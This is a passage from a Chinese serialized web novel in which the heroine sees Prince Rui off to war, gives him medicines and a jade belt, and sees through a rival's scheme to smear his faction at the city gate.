因为上一世,安王在陷害镇国公府通敌叛国后,皇上派其出征,安王确实也打了不少胜仗。 只不过上一世是胜利凯旋,班师回朝,不似现在这般拿回了城池之后,又被打得节节败退。 不仅收复的城池又失去了,还又丢了两座城池。 难道现在也如前世一般粮草短缺? 没有了她的支援,战线一拉长,就不行了? 可是不对啊,这一世有了她那三百万两白银赈灾,户部应当还有银钱才是。 虽然不至于像她上一世那样购买精钢打造武器给安王手下的士兵,但也不至于粮草短缺呀。 更何况她也没听说有粮草短缺的情况啊? 这般想着,沈琼华两条眉毛拧得更紧了,她迟疑地问道:“难道是粮草短缺了,士兵们吃不饱没力气才打不赢?” 洛希瑶闻言有些惊异地看向沈琼华:“琼华,你在说什么?怎么可能?” “眼下边关战事是朝中的重中之重,怎么可能缺少了前线的粮草?” “若是真的粮草短缺,户部没有银子,早就禀告给皇上了,这京中可没有传出这等消息。” 沈琼华自知失言,道:“我也就是随意一说,也不知皇上收到战报是否会有别的对策。” 若是边关一直打败仗的话可不行。 洛希瑶闻言,立刻便被沈琼华的话带歪了,道:“能有什么对策,估计会换个人领兵吧,总不能一直打败仗还让安王带兵。” “就是不知道是谁这么倒霉接手了这么个烂摊子。” 这个时候接手,压力就全在这个接手的人身上,若是胜了也就罢了,若是败了……只怕安王就可浑水摸鱼,从中抽身了。 说到这,洛希瑶顿了顿,忽地笑了起来,带着几分幸灾乐祸的意味。 “之前安王打胜仗的时候,安王一派在京城中多有些嚣张,连带着永宁伯府和林府也张扬了许多,府门前那叫一个门可罗雀。” “现在倒好,连屁都不敢放一个,生怕被皇上迁怒。” “那句话怎么说来着,不要高兴得太早,鹿死谁手还不一定呢。” 若不是生活在水深火热里的是边关的百姓,洛希瑶看着安王一党的人吃瘪,只怕会更高兴。 也是安王一党最近在京城实在是太过高调了,惹人讨厌的紧,林惜颜还总是下帖子摆宴席,明里暗里地挑衅,不然洛希瑶也不会满腹抱怨。 沈琼华见她这副样子,促狭一笑。 笑着笑着,嘴角的笑容又落了下来,眉宇间染上几分轻愁。 洛希瑶是趁着镇国公进宫上早朝,偷偷从镇国公府偷溜出来的,两人又聊了会儿,眼见马上就到下朝的时辰了。 洛希瑶匆匆拜别了沈琼华便回了镇国公府。 沈琼华送走了洛希瑶,坐在绣凳上发了一会儿呆,想着方才洛希瑶告知的消息,总觉得有什么事情要发生了。 她让芍药拿出账簿,想要算一算账,可是心绪不宁,算了四五遍,每一遍得出的结果都不同,索性也不算了。 换了衣裳回软榻上睡了一个回笼觉。 一觉醒来,叫来芍药询问一下外面的情况,却得知早朝竟然还没散。 这个早朝可真是开得够久的。 定了定神,沈琼华带着芍药到沈家的花园里走了走。 回屋后便到了午膳的时辰,芍药去厨房提了膳食来。 膳食摆上桌,沈琼华刚吃了一口,就得到了早朝散了的消息。 还不用沈琼华派人去打听,紧接着皇上的圣旨便下来了。 命瑞王,镇国公即刻前往边关,传召安王,永宁伯回京,林大将军驻守边关提防敌情的消息犹如一道惊雷瞬间传遍了整个京城。 沈琼华:“……” 在镇国公府里的洛希瑶:“……”一巴掌扇在了自己的嘴上。 让你多嘴! 乌鸦嘴啊! 第二百六十七章赠药 且不管京中其他人是如何反应的,圣旨已下,明日一早瑞王与镇国公便要带兵出征。 边关战事紧急,留一晚的时间都是为了让镇国公好好点一点兵。 镇国军从开国时便是由镇国公府所掌管,每次镇国公出征都会带领镇国军一起。 这一届镇国公只有平宁郡主一个女儿,没有儿子,自瑞王开始在战场上初露锋芒后,不少人都在暗地里嘀咕镇国公百年之后,镇国军会不会由瑞王掌管。 任凭外人如何揣测,两个当事人却并没有想这么多,每次与镇国军并肩作战,满脑子都只想着胜利。 这一晚,镇国公府与瑞王府里的烛灯亮了一夜。 沈琼华的院子也点了一晚的灯。 秋日的夜里已经有些凉了,几片枯叶飘落,顺着凉意的风打着旋儿,落在了打开的窗棂前。 沈琼华并未歇息,而是衣着整齐地坐在窗前,一双眼睛盯着不远处的院墙。 沈琼华也不知道自己为何要守在这里,明明按照两人的约定,瑞王没有事先派人来说,是不会夜入沈家的。 可她就是觉得瑞王今夜会来,这种感觉很是奇怪,没有理由,只是一种直觉。 等了很久很久,凉意袭来,沈琼华没忍住打了个喷嚏,芍药见状,连忙拿了个披风给沈琼华披上。 她一边系带子,一边劝道:“小姐,天快亮了,瑞王今晚是不会来了,奴婢服侍您歇息吧。” 被芍药一刀捅破,沈琼华有些不自在,却还是嘴硬道:“谁说我是在等瑞王?” 见芍药有些诧异地看过来,沈琼华移开视线,轻咳一声道:“我是白日里睡太多了,夜里睡不着,这才想看看景色。” 芍药看着外头光秃秃的树干与枯叶,眼中闪过一抹了然与笑意。 沈琼华察觉到芍药的眼神变化,也发现了自己话里的漏洞,连忙转移话题道:“芍药,你要是困了,你就先回屋去睡吧,我自己一个人待会儿。” 芍药知道沈琼华心烦,想自己一个人待一会,便退了出去。 屋内又重新恢复了安静。 沈琼华静静地坐着,也不知道过了多久,当天边露出第一抹,红时,院墙上传来了动静。 沈琼华转头,在昏黄的烛光与朦胧的天色里与谢南渊四目相对。 此刻的谢南渊与往日里不同,虽还是一袭黑袍,但外面却附上了一层铠甲。 古铜色的铠甲即便洗掉了曾经沾染上的红色功勋,被擦得锃光瓦亮,却也掩不住那扑面而来的肃杀之意。 穿上它站在院中,谢南渊原本俊朗的五官,似乎都变得凌厉了不少。 沈琼华从没有见过这样的谢南渊,上一世她见到谢南渊时,谢南渊都已经快要病入膏肓了,连床都快起不来了,更别说上战场了。 今日陡然一见,沈琼华觉得有铠甲的加持,谢南渊似乎变英俊了不少。 谢南渊眼中闪过一抹诧异,他没有想到沈琼华居然这个时辰了竟还没有歇息,一时之间竟有些慌乱无措。 见沈琼华站起身,嘴唇微动,谢南渊的嘴比脑子快,脱口而出道:“本王不是故意不通知你的,你别哭啊!” 沈琼华嘴角一抽,到嘴的话都咽了回去。 看来谢南渊对她上次那一哭,印象深刻啊。 谢南渊确实是害怕极了沈琼华对着他哭,别人哭他没感觉,可是看着沈琼华哭,他觉得自己的心难受的厉害。 可是这回他真不是故意要擅闯的。 他只是想在走之前见她一面,可要点兵,不一定能抽出时间来。 他怕他提早让临泽来告知,沈琼华会一直等他,若是他没来,出尔反尔了,沈琼华岂不是更生气。 他是想要见她一面,远远地看一眼也好,于是抓紧时间点兵,一切准备妥当后,还有一个半时辰的空余,这才来了沈府。 想着她大抵是睡了,即便是说不了话,看一看也好。 可谁知她竟没睡。 这么晚了,都没有歇息,她是在等他吗? 见沈琼华直愣愣地看着他,谢南渊迟疑道:“本王现在能进来吗?” 沈琼华:“……” 这问题问得好,她若说不行,他会不进来吗? 沈琼华张了张口,还未开口回答,某人便已经极为自觉熟练地翻窗而进了。 沈琼华:“……” 罢了,看在他天亮就要出征的份上,她就不与他计较这一次了。 经过这段时间的相处,两人已经熟稔了不少,说话与行为都在悄然之中发生了改变。 脚一落地,谢南渊便迫不及待地开口解释道:“本王不是故意要违背约定的,本王不确定是否能来,才没有让临泽来告知你。” “天亮之后,本王就要出征了,本王想出征前见一见你,所以才不请自来……你没有生气吧?” 沈琼华绷着一张脸,摇了摇头。 见状,谢南渊松了一口气,大掌抵到唇边,轻咳一声,道:“你这么晚还未歇息,是在等本王吗?” 谢南渊说出这句话的时候,神色颇有些别扭不自在,耳尖也微微染上红晕。 沈琼华抿了抿唇,半晌后,才在谢南渊有些忐忑的目光中微微点了点头。 一瞬间,似有烟火在谢南渊的脑中绽放,他嘴角微微上扬,却竭力控制自己,没有露出过多的喜悦情绪。 这是不是代表着,沈琼华已经在慢慢地接受他了? 就在谢南渊沉浸在喜悦的情绪当中时,沈琼华却转身进了内室。 不一会儿,便捧着一条玉质腰带和一个箩筐出来。 谢南渊看着这条略微有些眼熟的腰带,眼眸微眯。 沈琼华将腰带与箩筐递过去,道:“王爷,你将这腰带与这箩筐里的药一起带上吧。” “这些都是我白日从裴神医那买的药,都是一些治外伤与解毒,还有关键时刻能保命的药,你带着这些药上战场,以备不时之需。” “这条腰带,你将一些药粉灌入其中,上了战场之后可以贴身佩带。” 第二百六十八章她的心为什么跳的这么快? “别看它小,装不了多少药粉,但方便携带,若是受了伤落入危险境地……” 耳边是女子温声细语细细叮嘱的声音,谢南渊看着沈琼华掌心的玉带。 数块玉质上乘的玉块连接而成,竟也比不上掌心的肌肤的白嫩。 谢南渊深深呼出一口气,缓了缓,却还是没能压住心中迸发出的欢喜。 眼神柔和的看着沈琼华,嗓音里是说不出的惊喜与温柔,“这是……你特意为本王准备的?” 沈琼华还在与谢南渊说着这条腰带的用途,谢南渊突然说了这么一句话,令沈琼华脑袋都懵了一瞬,准备好的话顿时都咽了回去。 确实是特意为他准备的。 沈琼华自得了谢南渊要出征的消息,便去找了裴凉川,将他那里战场上可能用得上的药都买了一个遍。 这原本没什么,可被谢南渊这么单独拎出来问,沈琼华却觉得有些不自在,尤其是他的语气还透着几分欢喜。 就好似她与他有什么一样。 沈琼华抿了抿唇,在谢南渊期待的眼神中,道:“当然……不是,这是之前就从裴神医那里买的药。” “如今我在京中,反正也用不上了,正巧碰上王爷要上战场,便想着干脆赠与王爷,也算是物尽其用了。” 说完,似是怕谢南渊误会,又补了一句,“王爷也不用谢我,在安王与永宁伯府未倒台之前,咱们还是合作关系,为保住王爷的性命尽力是我应当做的事情。” 话落,屋内一下子陷入了安静。 沈琼华心中有些不安,她也不知道自己为何要说谎。 但话都说出口了,总不好自己拆自己的台。 沈琼华偷偷斜眼去看谢南渊的表情,恰撞进他深不可测的黑色旋涡中。 那黑色旋涡几乎要将她的神魂吸走,吞噬。 沈琼华连忙收回视线,正襟危坐。 谢南渊剑眉一挑,骨节分明的大手伸向箩筐,随意拿出几个白瓷瓶,每个都打开瓶塞看了一眼。 到最后将白瓷瓶都放回原处,眼中的笑意遮都遮不住,胸腔似是都在震荡,他低声呢喃道:“小骗子。” 每个白瓷瓶里的药粉都装得满满当当的,哪是用剩的。 这么拙劣的借口,也就她能想得出来了。 他原本还在担忧,他这一走不知要多久,还有一个霍璟在一旁虎视眈眈,眼下却是放心了不少。 至少,他知道了,沈琼华对他并不是没有丝毫触动。 他这些天的努力也并没有白费。 这就够了。 即便远在千里之外,他也能够放心。 “什么?王爷说什么?”沈琼华疑惑地问道,方才谢南渊的声音太低了,近乎是用气音,她根本没有听到。 谢南渊却没有回答她,只一味低笑不语。 沈琼华见他只笑,不说话,还以为谢南渊不相信她说的话,看穿了她拙劣的借口,连忙道:“我说的都是真的,王爷你——” 话还未说完,便落进一个宽大的怀抱中,冰凉的金属触感令沈琼华的瞳孔倏然瞪大。 反应过来后,沈琼华抬手就要去推谢南渊。 但谢南渊常年习武,身姿强健,又岂是沈琼华可以推动的。 沈琼华推不开,便开始挣扎了起来,“你……你放开我!你未经过我同意,怎么能……” “别动,让本王抱一会儿!”谢南渊出声打断了沈琼华的话,“本王马上就要走了。” 顿时,沈琼华抵着铠甲的双手放了下来。 察觉到胸膛上抵抗的力道消失,谢南渊无声笑了笑,眼神柔和。 得寸进尺的抬起手摸上沈琼华乌黑柔顺的长发,随后微微用力,沈琼华整个人都窝进了谢南渊的怀中。 安静的夜里,无声的情绪在空气中蔓延,快要燃尽的蜡烛在散发着它最后的余热。 昏黄的烛光照映在古铜色的铠甲上折射出冰冷锋利的光,二人相拥的影子被拉得很长很长,极速跳动的不知是谁的心跳。 “你要好好保护好自己……早日凯旋而归……我……我和希瑶都在京城等你归来,将安王狠狠踩在脚下。” 终究,还是沈琼华先出了声,脸埋在冰冷的铠甲中,声音闷闷的。 谢南渊听着她关心的话里都透着一股欲盖弥彰的意味,没忍住,笑出了声。 他抚摸着她乌黑柔软的长发,笑得胸膛都在震荡,沈琼华能听见他强而有力的心跳声。 “好,有了你的鼓励,本王必定尽快结束战局,早日得胜归来。” 顿了顿,他又恶狠狠地道:“本王不在京城的这段时间,你离霍璟远点。” 沈琼华有些无语,这人怎么什么都能扯到霍公子身上。 “我与霍公子早就说清楚了,王爷别总是阴阳怪气的。” “说清楚了?”谢南渊不屑地冷哼一声,“他看你的眼神可不算清白。” 若不是品行还算正直,学问也出众,敢一直觊觎他的人,他早就在霍璟被授官时想法子将人往外调了。 越说越来劲了,沈琼华从谢南渊怀里挣扎出来,气呼呼道:“你看谁都觉得不怀好意,那我除了你,还不能嫁给旁人了?” “不能!”谢南渊霸道的道,“谁敢抢本王看上的女子,本王跺了他!” 沈琼华闻言,双目瞪圆,不可置信地看向他。 谢南渊原本也不敢这样,只是今日他察觉到沈琼华的态度有所改变,自己又马上要上战场了,料定沈琼华不会生自己的气,这才敢直言,将心中的想法说出来。 “你!你简直不可理喻!”沈琼华气得脸都红了。 谢南渊颇为赞同的点头,“本王就是这么不可理喻。” 他要那么通情达理做什么? 难道他变得通情达理了,沈琼华就会嫁给他不成? 红扑扑的脸颊似是娇艳欲滴,引人采摘的花朵,谢南渊没忍住,伸手掐了一把,“听话,不然本王去了边关都不放心,你也不希望本王因为记挂着这件事,心神不宁,从而受伤吧?” 沈琼华闻言一把拍开他的手,胸膛上下起伏,给气的。 他竟然敢拿这种事情威胁她! 他自己的命,自己爱要不要! 反正受伤了,痛的也是他自己! 在这威胁谁呢! 沈琼华兀自生着闷气,丝毫没有发现,谢南渊盯着她唇瓣的眼神越来越幽深。 他不自觉缓缓靠近,温热的气息喷洒在脸颊上,沈琼华猛地回过神,连忙朝后退了一步,抬起手挡住唇,眼神警惕地看着谢南渊。 “你想做什么!” 谢南渊动作一滞,随即苦笑了一声。 还是太着急了,不过她今晚能让他抱着她,便已是一大进步了。 看了看外头的天色,谢南渊伸手揉了揉沈琼华的发顶,道:“本王不在京城的这段时间,好好照顾自己,有什么事情便去找平宁。” 沈琼华点了点头。 谢南渊静静地看着她,似是要将他此刻的容貌刻进脑海中,屋内又安静了下来,只余下剧烈的心跳声。 “时辰快到了,那……本王走了……” 沈琼华抿紧了唇瓣,缓缓点头。 谢南渊面色紧绷,拿起玉带与箩筐,脚一点,便越出了窗,几个瞬息便消失在了院墙之上。 屋内彻底归于寂静。 沈琼华站立了一会儿才重新坐下,屋内似是有什么在响。 视线环绕屋内一圈,沈琼华才发现原来是自己的心跳声。 举起白嫩纤细的手掌按在胸口,感受着里面剧烈的跳动。 奇怪,她的心为什么跳的这么快? 还不待沈琼华想明白,一道低沉的声音在院墙上响起,“沈琼华!” 第二百六十九章我等你平安回来! 沈琼华循声望去,是去而复返的谢南渊。 谢南渊站在院墙之上,天边的白光萦绕在他的周身,他的眼底盛着笑意。 “这段时间,你好好想想,等回来本王要知道你的答案!” 说完,身形一掠,又消失了。 这下是真的走了。 沈琼华望着空荡荡的院墙,眼中闪过一丝茫然。 答案? 什么答案? 突然,沈琼华想到了很久之前谢南渊问她的‘沈琼华,你愿不愿意嫁给我?’。 如今再想起来,似乎已经没有那么抵触了。 沈琼华悚然一惊,连忙拍了拍自己的脸,让自己恢复清醒。 随即朝院墙翻了个白眼。 呸! 不要脸的泼皮无赖,谁要嫁给他! …… 天光大亮。 沈琼华一夜未睡,却丝毫不觉疲惫,随意用了两口糕点便出了门。 沈琼华昨日便与洛希瑶约定今日一早要去城楼送镇国军离开,此时一夜未睡,沈琼华出门早了些,她估摸着洛希瑶还未到。 哪知道到了城楼脚下约定的地方,洛希瑶已经在那等着了。 便是上好的脂粉,也遮掩不住洛希瑶憔悴的脸色与眼底的青黑。 沈琼华牵住洛希瑶的手,有些冰凉,“怎么来得这样早?” “睡不着,索性早些出门,免得迟了。”洛希瑶回道。 沈琼华了然的点点头。 纵然镇国公与瑞王常年作战沙场,立军功无数,但那些军功背后的危险也是巨大的。 生命并不会随着经历的战争越多而越安全,每一次上战场,脑袋都是别在裤腰带上。 看洛希瑶这样子,想必从前每一次镇国公与瑞王出征,她独自留守在京城,表面上笑得没心没肺,其实心里也是担心的厉害。 沈琼华心中叹了一口气,挽着洛希瑶的胳膊,轻声道:“放心,他们定会平安归来的。” 这句话是对洛希瑶说的,也是对沈琼华自己说的。 要说沈琼华完全不担心,那是假话。 纵然她有前世的记忆,可如今也已经发挥不了多少作用了。 上一世这时,谢南渊已经身死,可这一世,他却要领兵出征。 沈琼华也不知道这一战的结局到底是怎样的,只能交给时间去证明。 只是期望谢南渊能够平安归来。 不仅是复仇计划尚未完成,还有……她从内心里不希望他出事。 洛希瑶听到沈琼华的话,点了点头,侧头仔细一看,却发现沈琼华的眼底也是一片青黑。 即便是用脂粉盖住了,但眼中的红血丝仍是露出了端倪。 洛希瑶眼珠一转,压低声音轻笑道:“琼华,你昨晚也没睡好啊,怎么,难道是因为担心表哥?” 说着,露出一副‘你别装了,我都看穿了’的表情。 沈琼华嘴角一抽,收回方才的话。 嗯,不错,还有心情开她玩笑寻开心,看来也不是很悲伤。 她抬眼看了看逐渐有些熙攘的人群,道:“咱们快上去吧,时辰快到了。” 说完便带着芍药先走一步。 洛希瑶点头,突然脚步一顿,整个人愣在了原地。 琼华……方才好像没有反驳她的话? 以往每次她这样开玩笑琼华都会反驳的! 这是这次没有。 难道……琼华的心也开始对表哥动摇了? 表哥要守得云开见月明了? “啊!”洛希瑶突然尖叫一声,将一旁的婢女吓了一跳,连忙上前查看,“郡主,您怎么了?” 洛希瑶拂开婢女的手,连忙追了上去,“琼华,你等等我!” …… 辰时三刻。 城门大开。 百姓围在两侧,街道中间留出一大片空白。 须臾,有整齐划一的脚步声由远及近,穿着黑色铠甲的镇国军出现在了视线中,黑压压的一片,似乎地面都在震荡。 沈琼华站在城墙之上,一眼便看见了穿着古铜色铠甲的谢南渊。 他骑着高头大马,行在最前端,身旁是镇国公。 不管是城楼上的百姓还是街道旁的百姓,神色都很是激动。 这其中,尤其洛希瑶更甚。 自皇上在宫中下了圣旨之后,镇国公便去了军营点兵,便是连随行物品都是由身边的人回镇国公府收拾的,洛希瑶都没机会见镇国公一面。 眼下见到镇国公,洛希瑶神情很是激动,她大喊道:“爹!爹!” 镇国公听到熟悉的声音,猛地抬头,谢南渊也一道看了过来,一眼便看见了站在洛希瑶身边的沈琼华。 二人隔着高高的城墙和熙攘的人群四目相对,沈琼华嘴唇翕动,却并未开口。 谢南渊深深地看了她一眼,随即收回视线。 军队很快走过城门。 沈琼华与洛希瑶连忙跑向另一边。 望着越来越远的身影,沈琼华心中突然萌生出一股勇气。 她双手放置嘴边,呈喇叭状,大声喊道:“我等你平安回来!” 第二百七十章林惜颜智商堪忧 夹道相送的百姓很多,人群哄闹,其中不乏有大声对镇国军鼓劲的。 而沈琼华又已经离得太远了,沈琼华没指望谢南渊能听见的。 可就在她双手放下的那一刻,在队伍首端的谢南渊却猛地回头。 漆黑如墨的瞳仁精准捕捉到了沈琼华,二人四目相对。 他听到了! 沈琼华意识到这一点,有些慌乱的移开了视线,随即又故作无事的看了回去。 谢南渊勾起了一抹笑,薄唇轻动,随后才回过头,表情肃穆,带着镇国军远去。 沈琼华的心跳得厉害,脸如火烧云一般。 她看懂了他说的话。 他说:“等本王平安回来娶你!” 沈琼华回过神来,恨恨地刮了那逐渐变小的古铜色铠甲的背影一眼。 这人! 也不看这是什么场合,怎么什么都敢说! 还好没有人听见! 随着镇国军的走远,不少百姓争相涌下城楼,追上去相送。 城楼上拥挤的人群顿时一哄而散,仿佛方才那人挤人的场景不过是一场错觉。 方才挤的人太多了,沈琼华与洛希瑶一直等到城楼上的人离开的差不多了,这才踱步往下走。 要说这人少了貌似也不太好,一眼望过去,便捕捉到了好几个相熟的面孔。 是熟人也就罢了,若还是敌非友,在这样的日子也就太扫兴致了。 沈琼华柳眉一蹙,抿紧了唇,与洛希瑶对视一眼。 立刻便领会了对方的意思,选择无视对方,直接离开。 可你不愿理会,可却有人偏要上来找存在感。 沈琼华与洛希瑶走着走着,便被两道身影挡住了去路。 洛希瑶双手抱胸,上前一步,将沈琼华挡在身后,满脸不爽道:“呦,你们这是想做什么?” 洛希瑶今日的心情委实算不上好,若是有人上赶着给她找不痛快,她还真能做出拿对方撒气这种事情。 哪知洛希瑶拳头还未抡起来,面前的林惜颜却红了眼眶,连带这她身旁的周令宜也是一副柔柔弱弱,要哭不哭的样子。 二人这番一场的举动,吓得洛希瑶连忙往后退了几步,反倒是不敢出手了。 这……这怎么回事,她可还没揍人呢…… “怎么回事啊?脑子出问题了?见着人就哭?”洛希瑶道。 林惜颜咬紧了唇瓣,目光仇视地看着洛希瑶……身后的沈琼华。 声音透着怨念地开口道:“沈琼华……这下你高兴了?如今京城中不知有多少人在背地里笑话我,你满意了吗?” “你看我沦落为京城中的笑柄,是不是很得意?” “我告诉你,别高兴的太早,鹿死谁手还不一定呢!” 洛希瑶:“……” 沈琼华:“……” 确定了,这两人脑子指定有大问题。 不然但凡正常一点,也不能说出这种话。 洛希瑶眼角抽了抽,没忍住,不顾身为郡主的形象骂了句脏话,而后冲林惜颜道:“林小姐,你是不是入京的时候没有把脑子给带回来?” “你哪只眼睛看出琼华高兴了,在这里上蹿下跳的。” “你搞清楚,是你与这位……永宁伯府二小姐主动往我和琼华面前凑的好嘛!” “我们琼华哪会得意,她根本就没有将你们放在眼里好嘛,谁一天天闲得慌盯着你们看,也太往自己脸上贴金了。” 洛希瑶今日心情本就不好,怼起人来可真是毫不手软,一张小嘴叭叭的,直将林惜颜说得脸色都变了,便是在其身边装模作样的周令宜也隐隐有了破功的趋势。 林惜颜气得呼吸都加重了,她狠狠咬了咬牙,手指指着洛希瑶身后的沈琼华,道:“沈琼华,你敢说你没有在背后看我的笑话?” “诶,我说你这人是不是听不懂人话,你……”洛希瑶正要再发挥发挥,一直柔软白嫩带着些许温热的手搭在了她的肩头。 洛希瑶与沈琼华对视一眼,会意地往旁边走了两步,让出位置来。 沈琼华清冷的目光落在林惜颜的身上,眉头一挑,发出一声轻笑。 在林惜颜即将动怒的时候,缓缓开口道:“林小姐,其实我并不理解你将我拦在这里的行为。” “难道是我让你在安王每打一场胜仗的时候,就广开林府大门,摆宴席,迎来送往吗?” “你……”林惜颜刚想说话,却被沈琼华打断了。 “胜败乃是兵家常事,林小姐出身武将之家,应当比我更明白这个道理。” “结局未定,林小姐就迫不及待地举办宴席,你在安王风光的时候,享受了众人的追捧,总不能最后狼狈收场,成为上京城茶余饭后的谈资时,却将所有罪责都推到我这个无辜之人身上吧?” “林小姐,这……委实是太没有道理了些。” 沈琼华的话语虽没有像洛希瑶那般激烈,语调淡淡的,却比洛希瑶的杀伤力更大,也更让林惜颜下不来台。 周令宜还在一旁看着,这只能同甘不能共苦,对于女子来说,可不是什么好名声。 若换做是寻常女子,早就抬不起头来了。 但林惜颜是寻常女子吗? 显然不是。 林惜颜压根没将周令宜放在眼里,一心只顾着对付沈琼华。 她愤愤地开口道:“怎会与你无关?若不是你一直私下里纠缠安王殿下,我又怎会急于宣誓主权,在战局还未稳定时便摆宴席庆贺。” “若是我没有摆宴席,如今又怎会成为众人茶余饭后的笑柄?” 安王打了败仗,这些日子不知有多少人家背后说她张狂行事,还未班师回朝,就急急地在林家先摆宴席,迫不及待宣誓自己准安王妃的地位。 不仅京城的高门大户这样议论,便是宫中的贵妃娘娘,也听到了风言风语,将她宣进宫告诫了一番。 她好不容易将这口委屈咽下,想着安王与爹爹后面肯定能反败为胜,到那时她定能狠狠打那些人的脸。 可谁知没过多久,皇上便下令让瑞王与镇国公出征接替安王与永宁伯的位置。 若不是爹爹仍在边关,她在京城指不定还要被人如何议论呢! “总之,我沦落到今日这地步都是因为你,你……” “等等!”沈琼华打断了林惜颜的话,“什么叫我纠缠安王,我什么时候纠缠安王了?” “林小姐,你不要自己看*是香的,就觉得别人也喜欢。” 林惜颜见沈琼华这样诋毁谢祁安,眼睛都瞪大了,她愤怒道:“你竟敢这样说安王殿下,敢做不敢认,你敢说你对安王没有那等心思?” 沈琼华立马接话道:“当然没有!” 那嫌恶的语气似是生怕与安王染上半点关系似的。 林惜颜一怔,许是沈琼华答话太快,又许是沈琼华脸上的厌恶表情太真实了,她有一瞬间竟然以为沈琼华说的是真的。 洛希瑶在一旁听到林惜颜竟然说沈琼华对安王有心思,嘴角一抽,忍不住小声嘀咕道:“就安王那个……也就你当个宝……” 两面三刀,阴险狡诈的小人,哪比得上表哥半分? 琼华若是能看上了安王,那不是被威胁了就是被人给掉包了, 林惜颜听到声响,向洛希瑶看去,顿时,眼中闪过一丝明悟。 她嗤笑一声道:“沈琼华,你不用狡辩,你脚踩两条船,不就是看着现在安王失势,瑞王得势,平宁郡主又在这才不敢承认吗?” “你这个不知廉耻的女人,在安王与瑞王之间反复横跳,总有一天我会将你的真面目揭穿!” 洛希瑶:“……” 沈琼华:“……” 第二百七十一章不如先看看身后? 好友被人这样诋毁,洛希瑶有些手痒。 沈琼华看出了洛希瑶的意图,冲她摇了摇头。 眼下瑞王顶替了安王去往边关,京中还不定会传出怎样的风言风语。 未免别人觉得瑞王一党仗势欺人,这段时间,洛希瑶还是要谨言慎行些好,不宜冲动。 谁知林惜颜见沈琼华没有反驳,还以为自己说中了沈琼华的心思,沈琼华心虚了。 想到自己这段时间受的委屈,心中更加怒火高涨。 她冷笑一声道:“沈琼华,你这样左右逢源,我倒要看看你将来的下场能好到哪里去!” “你如今见安王殿下失势,拼了命的在这巴结瑞王,又焉知瑞王会是最后的赢家?” “战场上刀剑无眼,常胜将军又如何,又不能保证百战百胜。” “现下顶替了安王殿下,你在这嚣张,说不定来日等回来的,就是一具死的不能再死的尸体!哦,不,说不定连尸体都等不到,尸骨无——啊!” 洛希瑶听着林惜颜吐出来的话,早就忍不住了,可是有一道身影比她更快一步,一巴掌扇了下去。 林惜颜半晌都没反应过来,她恍惚着,手轻轻抚上自己疼痛的脸。 待回过神,瞬间勃然大怒,看向沈琼华的目光恨不能将其剥皮抽筋。 “贱人,你打我!” 这是她第二次被沈琼华打了,简直是可忍孰不可忍。 她朝沈琼华扑来,却被洛希瑶一拳打在肩上,连连后退了几步,好在周令宜及时扶住了她,才没有让她摔在地上。 周令宜扶稳了林惜颜,自己却脚一软倒在了地上,泫然欲泣地仰头看着沈琼华,道:“华表姐,虽然安王殿下在你眼中看来可能不及瑞王殿下,但安王殿下也为朝廷,为百姓做过许多事情的。” “你不能因为安王殿下打了一次败仗,就仗着瑞王殿下的势力,随意欺负林姐姐呀。” “你如此这般仗着瑞王殿下的势力肆意妄为,你让安王殿下怎么想,让林将军以及他麾下的将士们怎么想?” “他们在前面浴血奋战,你却在京城欺负他们的未婚妻,女儿,你的良心就不痛吗?” “瑞王殿下有帅才,善于行兵打仗,难道别人的付出就不是付出了吗?” “还是说,在瑞王殿下的心里,只有打了胜仗的人才能有资格好好的,输了的人就只能忍气吞声呢?” 周令宜这一番话,说的不可谓不诛心。 既暗喻了瑞王一党仗势欺人,又表明了安王虽然打了败仗,但也出了不少力,不能抹掉安王的功劳。 最后三句话,则更是点睛之笔。 都说胜败乃兵家常事,谁又能保证一直打败仗呢。 这若是让家中有从军的人听到这话,指不定心中怎么想呢。 这分明就是在明晃晃的算计沈琼华与洛希瑶。 今日她这一席话,只要有一个人听到了,传扬了出去,瑞王此刻根本不在京城,休想讨到半点好。 周令宜自己说完,都忍不住眼中的得意。 她也没想到今日会碰到沈琼华与洛希瑶。 原本今日她与林惜颜来城楼只是想来看看瑞王出征的场景,以此来好好记住此次的耻辱,确实没想到碰到了这二人。 这二人一上城楼她便发现了,但她并没有声张。 此次殿下出征,后面那连续几场败仗算是将前面的胜仗拉来的人心都败光了。 若是没有碰到这二人也就摆了,既然在这样的场景下碰到了,她怎么也要想法子为殿下挽回一下名声。 于是在等待镇国军的间隙,她便一直用言语刺激林惜颜。 林惜颜这个蠢货也果真是没脑子,被她一刺激,镇国军走后,百姓疏散了一些便立刻来找沈琼华了。 她原本还想着该怎么样惹怒沈琼华与洛希瑶,使其动手,不然只是简单的口头争执,怕是效果不大。 结果没想到这蠢货竟给了她这么大一个惊喜,竟然当着二人的面诅咒瑞王会战死沙场。 这一巴掌打下来,她听这声响就知道力道定然不轻。 不轻好啊,若是轻的话,脸上都没肿,又怎么能体现出瑞王一党的仗势欺人呢。 周令宜心中激动不已,面上却仍保持镇定,只是姣好的脸蛋微微仰着,眼睛低垂盯着地面,缓缓地落下一滴晶莹的泪。 更衬得沈琼华和洛希瑶像仗势欺人的恶人。 洛希瑶目瞪口呆地看着这一幕,怎么也没有想到周令宜的反应如此迅速。 若不是她是当事人,她都要被周令宜这精湛的表现给骗了。 真以为自己仗势欺人了。 沈琼华眯起眼眸,一眼就看穿了周令宜的想法,她缓缓勾起一抹笑,轻声道:“周二小姐,你不如先看看你身后?” 第二百七十二章定不会少了你的好处 周令宜身体一僵,下意识便听从沈琼华的话朝返头看去。 入目是空旷的道路以及随风而扬的旗帜,竟是一个人都没有。 周令宜面色陡然一变。 人呢? 方才还有那么多人的。 若是没有人看见,那她刚刚做的那些又有什么意义? 周令宜深吸一口气,再回过头来时,那副被人欺辱的表情已经收敛了许多。 “我不明白华表姐是什么意思。”周令宜轻声道。 沈琼华轻笑一声,道:“周令宜,周二小姐,事到如今,你装得不累吗?” “你方才那一番举动,不就是想抹黑瑞王的形象,顺便再帮安王拉拢一些好感吗?” “你为了安王,可真是煞费苦心,绞尽脑汁什么事情都干得出来啊。” “反倒是林小姐,做了你手中的刀竟还不自知。” “可惜啊,这一番谋算是挺好的,就是观众少了些,你的如意算盘怕是要落空了。” 周令宜的瞳孔倏然放大,看向沈琼华的眼神满是不可置信。 她怎么也没想到沈琼华竟然这么容易就看穿了她的想法,竟然还说了出来。 林惜颜若是知晓自己拿她作筏子,害得她挨了一巴掌,还不得闹得个天翻地覆。 一旁的洛希瑶听到了沈琼华的话,也反应了过来,面色不善地看着周令宜,道:“好啊,原来是这样,周二小姐,你看着柔柔弱弱的,没想到是个算计人心的高手。” 